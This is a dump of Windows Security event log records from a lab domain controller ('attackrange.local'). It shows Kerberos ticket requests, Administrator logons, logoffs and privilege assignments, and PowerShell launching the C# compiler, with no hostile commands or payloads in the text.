Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253442
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B445C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253441
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B2D84

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253440
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B03A4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253439
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B445C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253438
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B445C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253437
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253436
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3BDDF32C-A205-A474-0B50-7B89394A52BB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253435
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253434
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x138c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESF062.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCD6C9626DFA644438B1A667829E565056.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253433
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x378
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\4gshmrrs.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253489
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B7F6D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253488
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B7F6D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253487
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253486
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253485
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253484
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcc4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESF6AC.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC13D8FEE0B8324EF6AE92701EE563C0A9.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253483
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcc4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1154
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\r3pyanh1.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253482
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B71D3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253481
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B71D3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253480
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253479
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253478
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253477
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1154
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253476
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x101c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
